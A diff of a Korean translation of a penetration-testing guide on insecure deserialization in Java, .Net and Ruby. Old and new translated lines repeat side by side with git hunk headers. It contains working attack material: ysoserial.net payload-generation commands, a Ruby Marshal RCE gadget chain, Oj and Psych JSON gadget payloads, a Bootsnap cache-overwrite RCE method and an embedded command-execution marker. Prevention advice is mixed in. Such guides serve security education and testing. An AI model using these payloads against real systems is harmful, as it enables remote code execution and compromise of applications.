// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
@ -598,11 +598,11 @@ return super.resolveClass(desc);
}
}
```
**보안 강화를 위한 Java 에이전트 사용**은 코드 수정을 할 수 없을 때 대체 솔루션을 제공합니다. 이 방법은 주로 **유해한 클래스 블랙리스트**에 적용되며, JVM 매개변수를 사용합니다:
**Java 에이전트를 사용한 보안 강화**는 코드 수정을 할 수 없을 때 대체 솔루션을 제공합니다. 이 방법은 주로 **유해한 클래스 블랙리스트**에 적용되며, JVM 매개변수를 사용합니다:
```
-javaagent:name-of-agent.jar
```
동적으로 역직렬화를 안전하게 하는 방법을 제공하며, 즉각적인 코드 변경이 비현실적인 환경에 이상적입니다.
동적으로 역직렬화를 안전하게 하는 방법을 제공하며, 즉각적인 코드 변경이 비현실적인 환경에 이상적입니다.
[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)에서 예제를 확인하세요.
@ -620,7 +620,7 @@ return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```
**외부 라이브러리를 활용한 보안 강화**: **NotSoSerial**, **jdeserialize**, **Kryo**와 같은 라이브러리는 Java 역직렬화를 제어하고 모니터링하기 위한 고급 기능을 제공합니다. 이러한 라이브러리는 클래스의 화이트리스트 또는 블랙리스트 작성, 역직렬화 전에 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현과 같은 추가 보안 계층을 제공할 수 있습니다.
**외부 라이브러리를 활용한 보안 강화**: **NotSoSerial**, **jdeserialize**, **Kryo**와 같은 라이브러리는 Java 역직렬화를 제어하고 모니터링하기 위한 고급 기능을 제공합니다. 이러한 라이브러리는 클래스의 화이트리스트 또는 블랙리스트 작성, 역직렬화 전에 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현과 같은 추가 보안 계층을 제공할 수 있습니다.
- **NotSoSerial**은 신뢰할 수 없는 코드의 실행을 방지하기 위해 역직렬화 프로세스를 가로챕니다.
- **jdeserialize**는 역직렬화 없이 직렬화된 Java 객체를 분석할 수 있게 하여 잠재적으로 악의적인 콘텐츠를 식별하는 데 도움을 줍니다.
@ -640,9 +640,9 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- Java 및 .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강연: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- 역직렬화 CVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI 인젝션 및 log4Shell
## JNDI 주입 및 log4Shell
**JNDI 인젝션, RMI, CORBA 및 LDAP를 통한 악용 방법 및 log4shell의 취약점 예제**에 대한 내용은 다음 페이지에서 확인하세요:
**JNDI 주입, RMI, CORBA 및 LDAP를 통한 악용 방법 및 log4shell의 취약점 예시**를 다음 페이지에서 확인하세요:
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@ -650,7 +650,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java 메시지 서비스
> **Java 메시지 서비스** (**JMS**) API는 두 개 이상의 클라이언트 간에 메시지를 전송하기 위한 Java 메시지 지향 미들웨어 API입니다. 이는 생산자-소비자 문제를 처리하기 위한 구현입니다. JMS는 Java 플랫폼, 엔터프라이즈 에디션(Java EE)의 일부이며, Sun Microsystems에서 개발한 사양에 의해 정의되었지만 이후 Java 커뮤니티 프로세스에 의해 안내되었습니다. 이는 Java EE 기반의 애플리케이션 구성 요소가 메시지를 생성, 전송, 수신 및 읽을 수 있도록 하는 메시징 표준입니다. 이는 분산 애플리케이션의 다양한 구성 요소 간의 통신을 느슨하게 결합되고 신뢰할 수 있으며 비동기적으로 만듭니다. (출처: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> **Java 메시지 서비스** (**JMS**) API는 두 개 이상의 클라이언트 간에 메시지를 전송하기 위한 Java 메시지 지향 미들웨어 API입니다. 이는 생산자-소비자 문제를 처리하기 위한 구현입니다. JMS는 Java 플랫폼, 엔터프라이즈 에디션(Java EE)의 일부이며, Sun Microsystems에서 개발한 사양에 의해 정의되었지만 이후 Java 커뮤니티 프로세스에 의해 안내되었습니다. 이는 Java EE를 기반으로 하는 애플리케이션 구성 요소가 메시지를 생성, 전송, 수신 및 읽을 수 있도록 하는 메시징 표준입니다. 이는 분산 애플리케이션의 다양한 구성 요소 간의 통신을 느슨하게 결합되고 신뢰할 수 있으며 비동기적으로 만듭니다. (출처: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### 제품
@ -667,7 +667,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
서비스가 취약하더라도(사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위한 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다.
도구 [JMET](https://github.com/matthiaskaiser/jmet)는 **알려진 가젯을 사용하여 여러 악성 객체를 직렬화하여 이 서비스에 연결하고 공격하기 위해 생성되었습니다**. 이러한 악용은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있을 경우 작동합니다.
도구 [JMET](https://github.com/matthiaskaiser/jmet)는 **알려진 가젯을 사용하여 여러 악성 객체를 직렬화하여 이 서비스를 연결하고 공격하기 위해 생성되었습니다**. 이러한 익스플로잇은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있는 경우에 작동합니다.
### 참고 문헌
@ -678,7 +678,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## .Net
.Net의 맥락에서 역직렬화 악용은 Java에서 발견되는 방식과 유사하게 작동하며, 가젯을 악용하여 객체의 역직렬화 중에 특정 코드를 실행합니다.
.Net의 맥락에서 역직렬화 익스플로잇은 Java에서 발견되는 것과 유사한 방식으로 작동하며, 가젯을 악용하여 객체의 역직렬화 중에 특정 코드를 실행합니다.
### 지문
@ -689,32 +689,32 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
사용자 제어 변수에 의해 유형이 결정될 수 있는 직렬화기에 초점을 맞춰야 합니다.
사용자 제어 하에 변수를 통해 유형을 결정할 수 있는 직렬화기에 초점을 맞춰야 합니다.
#### 블랙박스
검색은 서버 측에서 역직렬화될 수 있는 Base64 인코딩 문자열 **AAEAAAD/////** 또는 유사한 패턴을 목표로 해야 하며, 이는 역직렬화될 유형에 대한 제어를 부여합니다. 여기에는 `TypeObject` 또는 `$type`이 포함된 **JSON** 또는 **XML** 구조가 포함될 수 있지만 이에 국한되지 않습니다.
검색은 서버 측에서 역직렬화될 수 있는 Base64 인코딩 문자열 **AAEAAAD/////** 또는 유사한 패턴을 목표로 해야 하며, 이는 역직렬화될 유형에 대한 제어를 부여합니다. 여기에는 **JSON** 또는 **XML** 구조가 포함될 수 있으며, `TypeObject` 또는 `$type`을 특징으로 합니다.
### ysoserial.net
이 경우 도구 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net)을 사용하여 **역직렬화 악용을 생성할 수 있습니다**. Git 리포지토리를 다운로드한 후, 예를 들어 Visual Studio를 사용하여 **도구를 컴파일해야 합니다**.
이 경우 도구 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net)을 사용하여 **역직렬화 익스플로잇을 생성할 수 있습니다**. git 리포지토리를 다운로드한 후, 예를 들어 Visual Studio를 사용하여 **도구를 컴파일해야 합니다**.
**ysoserial.net이 악용을 생성하는 방법**에 대해 배우고 싶다면 [**ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터가 설명된 이 페이지를 확인하세요**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
**ysoserial.net이 익스플로잇을 생성하는 방법**에 대해 배우고 싶다면 [**ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터가 설명된 이 페이지를 확인하세요**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
**ysoserial.net**의 주요 옵션은: **`--gadget`**, **`--formatter`**, **`--output`** 및 **`--plugin`**입니다.
- **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다(역직렬화 중 명령을 실행하기 위해 악용될 클래스/함수를 지정).
- **`--formatter`**는 악용을 직렬화하는 방법을 지정하는 데 사용됩니다(페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알고 동일한 것을 사용하여 직렬화해야 함).
- **`--output`**는 악용**원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**로 **인코딩**하므로(Windows에서 기본적으로 사용되는 인코딩) 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 **인코딩 호환성 문제**가 발생할 수 있으며, 이는 악용이 제대로 작동하지 않도록 할 수 있습니다(HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만 항상 작동한다는 의미는 아닙니다)._
- **`--plugin`** ysoserial.net은 **특정 프레임워크**에 대한 악용을 제작하기 위해 플러그인을 지원합니다(예: ViewState).
- **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다(역직렬화 중 명령을 실행하기 위해 악용될 클래스/함수를 지정).
- **`--formatter`**는 익스플로잇을 직렬화하는 방법을 지정하는 데 사용됩니다(백엔드가 페이로드를 역직렬화하는 데 사용하는 라이브러리를 알아야 하며, 동일한 라이브러리를 사용하여 직렬화해야 합니다).
- **`--output`**는 익스플로잇**원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**(Windows에서 기본적으로 사용되는 인코딩)로 **인코딩**하므로, 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 익스플로잇이 제대로 작동하지 않게 하는 **인코딩 호환성 문제**가 발생할 수 있습니다(HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만, 항상 작동한다는 의미는 아닙니다)._
- **`--plugin`** ysoserial.net은 **ViewState와 같은 특정 프레임워크를 위한 익스플로잇을 제작하기 위해 플러그인을 지원합니다**.
#### ysoserial.net의 추가 매개변수
- `--minify`는 **더 작은 페이로드**를 제공합니다(가능한 경우).
- `--raf -f Json.Net -c "anything"`는 제공된 포맷터(`Json.Net`인 경우)와 함께 사용할 수 있는 모든 가젯을 나타냅니다.
- `--sf xml`**가젯**(`-g`)을 지정할 수 있으며 ysoserial.net은 "xml"이 포함된 포맷터를 검색합니다(대소문자 구분 없음).
- `--raf -f Json.Net -c "anything"`는 제공된 포맷터(`Json.Net`인 경우)와 함께 사용할 수 있는 모든 가젯을 나타냅니다.
- `--sf xml`**가젯**(`-g`)을 지정할 수 있으며, ysoserial.net은 "xml"을 포함하는 포맷터를 검색합니다(대소문자 구분 없음).
**ysoserial 예제**를 통한 악용 생성:
**ysoserial 예시**를 통한 익스플로잇 생성:
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -760,25 +760,25 @@ return obj;
}
```
In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라서 .Net 애플리케이션에서 유사한 것을 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다.\
따라서 **`--test`** 매개변수는 **어떤 코드 조각이 취약한지** 이해하는 데 도움이 됩니다 **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 대해.
따라서 **`--test`** 매개변수는 **어떤 코드 조각이** **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 취약한지를 이해하는 데 도움이 됩니다.
### ViewState
[**.Net의 \_\_ViewState 매개변수를 악용하는 방법에 대한 이 POST를 확인하세요**](exploiting-__viewstate-parameter.md)**. 임의의 코드를 실행하기 위해.** 만약 당신이 **피해자 머신에서 사용된 비밀을 이미 알고 있다면**, [**코드를 실행하는 방법을 알아보려면 이 포스트를 읽으세요**](exploiting-__viewstate-knowing-the-secret.md)**.**
[**.Net의 \_\_ViewState 매개변수를 악용하는 방법에 대한 이 POST를 확인하세요**](exploiting-__viewstate-parameter.md)**. 임의의 코드를 실행하기 위해.** 만약 **희생자 머신에서 사용된 비밀을 이미 알고 있다면**, [**코드를 실행하는 방법을 알아보려면 이 포스트를 읽으세요**](exploiting-__viewstate-knowing-the-secret.md)**.**
### Prevention
.Net에서 역직렬화와 관련된 위험을 완화하기 위해:
- **데이터 스트림이 객체 유형을 정의하도록 허용하지 마십시오.** 가능 경우 `DataContractSerializer` 또는 `XmlSerializer`를 사용하십시오.
- **데이터 스트림이 객체 유형을 정의하도록 허용하지 마십시오.** 가능 경우 `DataContractSerializer` 또는 `XmlSerializer`를 사용하십시오.
- **`JSON.Net`의 경우 `TypeNameHandling``None`으로 설정하십시오:** `TypeNameHandling = TypeNameHandling.None`
- **`JavaScriptSerializer``JavaScriptTypeResolver`의 사용을 피하십시오.**
- **역직렬화할 수 있는 유형을 제한하십시오**, `System.IO.FileInfo`와 같은 .Net 유형의 고유한 위험을 이해하십시오. 이는 서버 파일의 속성을 수정할 수 있어 서비스 거부 공격으로 이어질 수 있습니다.
- **위험한 속성을 가진 유형에 주의하십시오**, `Value` 속성이 있는 `System.ComponentModel.DataAnnotations.ValidationException`과 같이 악용될 수 있습니다.
- **유형 인스턴스화를 안전하게 제어하십시오**. 공격자가 역직렬화 프로세스에 영향을 미치지 않도록 하여 `DataContractSerializer` 또는 `XmlSerializer`조차도 취약하게 만들 수 있습니다.
- **타입 인스턴스화를 안전하게 제어하여** 공격자가 역직렬화 프로세스에 영향을 미치지 않도록 하십시오. 이로 인해 `DataContractSerializer` 또는 `XmlSerializer`조차도 취약해질 수 있습니다.
- **`BinaryFormatter``JSON.Net`에 대해 사용자 정의 `SerializationBinder`를 사용하여 화이트리스트 제어를 구현하십시오.**
- **.Net 내에서 알려진 불안전한 역직렬화 가젯에 대한 정보를 유지하고** 역직렬화기가 그러한 유형을 인스턴스화하지 않도록 하십시오.
- **잠재적으로 위험한 코드를 인터넷에 접근할 수 있는 코드와 격리하여** `System.Windows.Data.ObjectDataProvider`와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출지 않도록 하십시오.
- **잠재적으로 위험한 코드를** 인터넷에 접근할 수 있는 코드와 분리하여 `System.Windows.Data.ObjectDataProvider`와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출지 않도록 하십시오.
### **References**
@ -789,16 +789,16 @@ In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라
## **Ruby**
Ruby에서는 **marshal** 라이브러리 내의 두 가지 메서드를 통해 직렬화가 이루어집니다. 첫 번째 메서드는 **dump**로, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이 역직렬화라고 합니다.
루비에서 직렬화는 **marshal** 라이브러리 내의 두 가지 메서드에 의해 수행됩니다. 첫 번째 메서드는 **dump**로 알려져 있으며, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이 과정을 역직렬화라고 합니다.
직렬화된 객체를 보호하기 위해 **Ruby는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이를 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다:
직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이를 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
- `config/secrets.yml`
- `/proc/self/environ`
**Ruby 2.X 일반 역직렬화에서 RCE 가젯 체인 (자세한 내용은** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
**루비 2.X 일반 역직렬화에서 RCE 가젯 체인 (자세한 내용은** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby
#!/usr/bin/env ruby
@ -869,7 +869,7 @@ require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
다른 RCE 체인으로 Ruby On Rails를 이용한 공격: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
다른 RCE 체인으로 Ruby On Rails를 이용하는 방법: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Ruby .send() 메서드
@ -879,7 +879,7 @@ puts Base64.encode64(payload)
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값이 있는** 인수를 가진 메서드를 호출할 수 있습니다.\
또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 설명에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값이 있는** 인수를 가진 메서드를 호출할 수 있습니다.\
이를 위해, **그 요구 사항을 충족하는 흥미로운 메서드를 찾기 위해** 객체의 모든 메서드를 열거할 수 있습니다.
```ruby
<Object>.send('<user_input>')
@ -904,21 +904,21 @@ candidate_methods.length() # Final number of methods=> 3595
```
### Ruby 클래스 오염
[여기에서 Ruby 클래스를 오염시키고 악용하는 방법을 확인하세요](ruby-class-pollution.md).
여기에서 [Ruby 클래스를 오염시키고 악용하는 방법](ruby-class-pollution.md)을 확인하세요.
### Ruby _json 오염
해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자는 본문에 임의의 값을 가진 `_json`이라는 값을 설정할 수도 있습니다. 예를 들어, 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하는 경우, 권한 우회를 수행할 수 있습니다.
해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자가 원하는 임의의 값으로 `_json`이라는 값을 본문에 설정할 수도 있습니다. 예를 들어, 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하는 경우, 권한 우회가 발생할 수 있습니다.
[Ruby _json 오염 페이지에서 더 많은 정보를 확인하세요](ruby-_json-pollution.md).
[Ruby _json 오염 페이지](ruby-_json-pollution.md)에서 더 많은 정보를 확인하세요.
### 기타 라이브러리
이 기술은 [**이 블로그 게시물에서**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) 가져왔습니다.
이 기술은 [**이 블로그 게시물**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)에서 가져왔습니다.
객체를 직렬화하는 데 사용할 수 있는 다른 Ruby 라이브러리가 있으며, 따라서 불안전한 역직렬화 중에 RCE를 얻기 위해 악용될 수 있습니다. 다음 표는 이러한 라이브러리 중 일부와 역직렬화될 때 로드된 라이브러리에서 호출되는 메서드를 보여줍니다(기본적으로 RCE를 얻기 위해 악용할 함수):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>라이브러리</strong></td><td><strong>입력 데이터</strong></td><td><strong>클래스 내에서 시작하는 메서드</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_create에 대한 주석은 끝에서 확인하세요](#table-vulnerable-sinks))</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>라이브러리</strong></td><td><strong>입력 데이터</strong></td><td><strong>클래스 내에서 시작하는 메서드</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_create에 대한 노트는 끝에서 확인](#table-vulnerable-sinks))</td></tr></tbody></table>
기본 예:
```ruby
@ -942,7 +942,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출하는 가젯 클래스를 찾는 것이 가능했으며, 이는 spec을 호출하고, fetch_path를 호출하여 무작위 URL을 가져오도록 만들 수 있었습니다. 이는 이러한 종류의 비위생적인 역직렬화 취약점을 탐지하는 데 큰 도움이 됩니다.
Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출하는 가젯 클래스를 찾을 수 있었고, 이는 spec을 호출하고, fetch_path를 호출하여 무작위 URL을 가져오도록 만들 수 있었습니다. 이는 이러한 종류의 비위생적인 역직렬화 취약점을 탐지하는 데 큰 도움이 됩니다.
```json
{
"^o": "URI::HTTP",
@ -954,7 +954,7 @@ Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출
"password": "anypw"
}
```
또한, 이전 기술을 사용하면 시스템에 폴더가 생성된다는 것이 발견되었으며, 이는 다른 가젯을 악용하여 이를 완전한 RCE로 변환하는 데 필요한 조건입니다.
또한, 이전 기술을 사용하면 시스템에 폴더가 생성된다는 것이 발견되었으며, 이는 다른 가젯을 악용하여 이를 완전한 RCE로 변환하는 데 필요니다.
```json
{
"^o": "Gem::Resolver::SpecSpecification",
@ -980,21 +980,21 @@ Check for more details in the [**original post**](https://github.blog/security/v
### Bootstrap Caching
실제로는 deserialization 취약점이 아니지만, Rails 애플리케이션에서 임의 파일 쓰기를 통해 RCE를 얻기 위해 bootstrap caching을 악용하는 멋진 트릭입니다 (완전한 [원본 게시물은 여기에서 확인하세요](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
실제로는 deserialization 취약점이 아니지만, Rails 애플리케이션에서 임의 파일 쓰기를 통해 RCE를 얻기 위해 Bootstrap 캐싱을 악용하는 멋진 트릭입니다 (완전한 [원본 게시물은 여기에서 확인하세요](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
아래는 Bootsnap 캐싱을 악용하여 임의 파일 쓰기 취약점을 용하는 방법에 대한 기사의 단계 요약입니다:
아래는 Bootsnap 캐싱을 악용하여 임의 파일 쓰기 취약점을 용하는 방법에 대한 기사의 단계 요약입니다:
- 취약점 및 환경 식별
Rails 앱의 파일 업로드 기능은 공격자가 임의로 파일을 쓸 수 있게 합니다. 앱은 제한된 상태에서 실행되지만(특정 디렉토리만 쓰기가 가능함), 여전히 Bootsnap 캐시 디렉토리에 쓰는 것이 가능합니다(일반적으로 tmp/cache/bootsnap 아래에 위치).
Rails 앱의 파일 업로드 기능은 공격자가 임의로 파일을 쓸 수 있게 합니다. 앱은 제한된 상태에서 실행되지만(특정 디렉토리만 쓰기 가능, 예: Docker의 비루트 사용자로 인해 tmp), 여전히 Bootsnap 캐시 디렉토리에 쓰는 것이 가능합니다(일반적으로 tmp/cache/bootsnap 아래).
- Bootsnap의 캐시 메커니즘 이해
Bootsnap은 컴파일된 Ruby 코드, YAML 및 JSON 파일을 캐싱하여 Rails 부팅 시간을 단축합니다. 캐시 파일은 캐시 키 헤더(예: Ruby 버전, 파일 크기, mtime, 컴파일 옵션 등)를 포함하고, 그 뒤에 컴파일된 코드가 이어집니다. 이 헤더는 앱 시작 시 캐시를 검증하는 데 사용됩니다.
Bootsnap은 컴파일된 Ruby 코드, YAML 및 JSON 파일을 캐싱하여 Rails 부팅 시간을 단축합니다. 캐시 파일은 캐시 키 헤더(예: Ruby 버전, 파일 크기, mtime, 컴파일 옵션 등)를 포함하고 그 뒤에 컴파일된 코드가 저장됩니다. 이 헤더는 앱 시작 시 캐시를 검증하는 데 사용됩니다.
- 파일 메타데이터 수집
공격자는 먼저 Rails 시작 시 로드될 가능성이 있는 대상 파일(예: Ruby의 표준 라이브러리에서 set.rb)을 선택합니다. 컨테이너 내에서 Ruby 코드를 실행하여 중요한 메타데이터(RUBY_VERSION, RUBY_REVISION, 크기, mtime, compile_option)를 추출합니다. 이 데이터는 유효한 캐시 키를 만드는 데 필수적입니다.
공격자는 먼저 Rails 시작 시 로드될 가능성이 있는 대상 파일(예: Ruby의 표준 라이브러리에서 set.rb)을 선택합니다. 컨테이너 내에서 Ruby 코드를 실행하여 중요한 메타데이터(예: RUBY_VERSION, RUBY_REVISION, 크기, mtime, compile_option)를 추출합니다. 이 데이터는 유효한 캐시 키를 만드는 데 필수적입니다.
- 캐시 파일 경로 계산
@ -1004,14 +1004,63 @@ Bootsnap의 FNV-1a 64비트 해시 메커니즘을 복제하여 올바른 캐시
공격자는 다음을 수행하는 페이로드를 준비합니다:
- 임의의 명령을 실행합니다(예: 프로세스 정보를 보여주기 위해 id 실행).
- 임의의 명령을 실행합니다(예: 프로세스 정보를 표시하기 위해 id 실행).
- 재귀적 악용을 방지하기 위해 실행 후 악성 캐시를 제거합니다.
- 애플리케이션이 중단되지 않도록 원본 파일(예: set.rb)을 로드합니다.
이 페이로드는 바이너리 Ruby 코드로 컴파일되고, 이전에 수집한 메타데이터와 Bootsnap의 올바른 버전 번호를 사용하여 신중하게 구성된 캐시 키 헤더와 연결됩니다.
이 페이로드는 이진 Ruby 코드로 컴파일되고, 이전에 수집된 메타데이터와 Bootsnap의 올바른 버전 번호를 사용하여 신중하게 구성된 캐시 키 헤더와 연결됩니다.
- 덮어쓰기 및 실행 트리거
임의 파일 쓰기 취약점을 사용하여 공격자는 계산된 위치에 제작된 캐시 파일을 씁니다. 다음으로, 서버 재시작을 트리거합니다(모니터링되는 tmp/restart.txt에 쓰기). 재시작 중에 Rails가 대상 파일을 요구할 때, 악성 캐시 파일이 로드되어 원격 코드 실행(RCE)이 발생합니다.
### Ruby Marshal exploitation in practice (updated)
신뢰할 수 없는 바이트가 `Marshal.load`/`marshal_load`에 도달하는 모든 경로를 RCE 싱크로 간주하십시오. Marshal은 임의의 객체 그래프를 재구성하고 물질화 중에 라이브러리/젬 콜백을 트리거합니다.
- 최소 취약한 Rails 코드 경로:
```ruby
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
```
- 실제 체인에서 볼 수 있는 일반적인 가젯 클래스: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
- 페이로드에 내장된 전형적인 부작용 마커(언마샬 중 실행됨):
```
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
```
실제 앱에서의 발생 위치:
- 역사적으로 Marshal을 사용하는 Rails 캐시 저장소 및 세션 저장소
- 백그라운드 작업 백엔드 및 파일 기반 객체 저장소
- 이진 객체 블롭의 사용자 정의 지속성 또는 전송
산업화된 가젯 발견:
- 생성자, `hash`, `_load`, `init_with` 또는 언마샬 중 호출되는 부작용 메서드에 대해 Grep
- CodeQL의 Ruby 안전하지 않은 역직렬화 쿼리를 사용하여 소스 → 싱크를 추적하고 가젯을 표면화
- 공개 멀티 포맷 PoC(JSON/XML/YAML/Marshal)로 검증
## 참고 문헌
- Trail of Bits Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
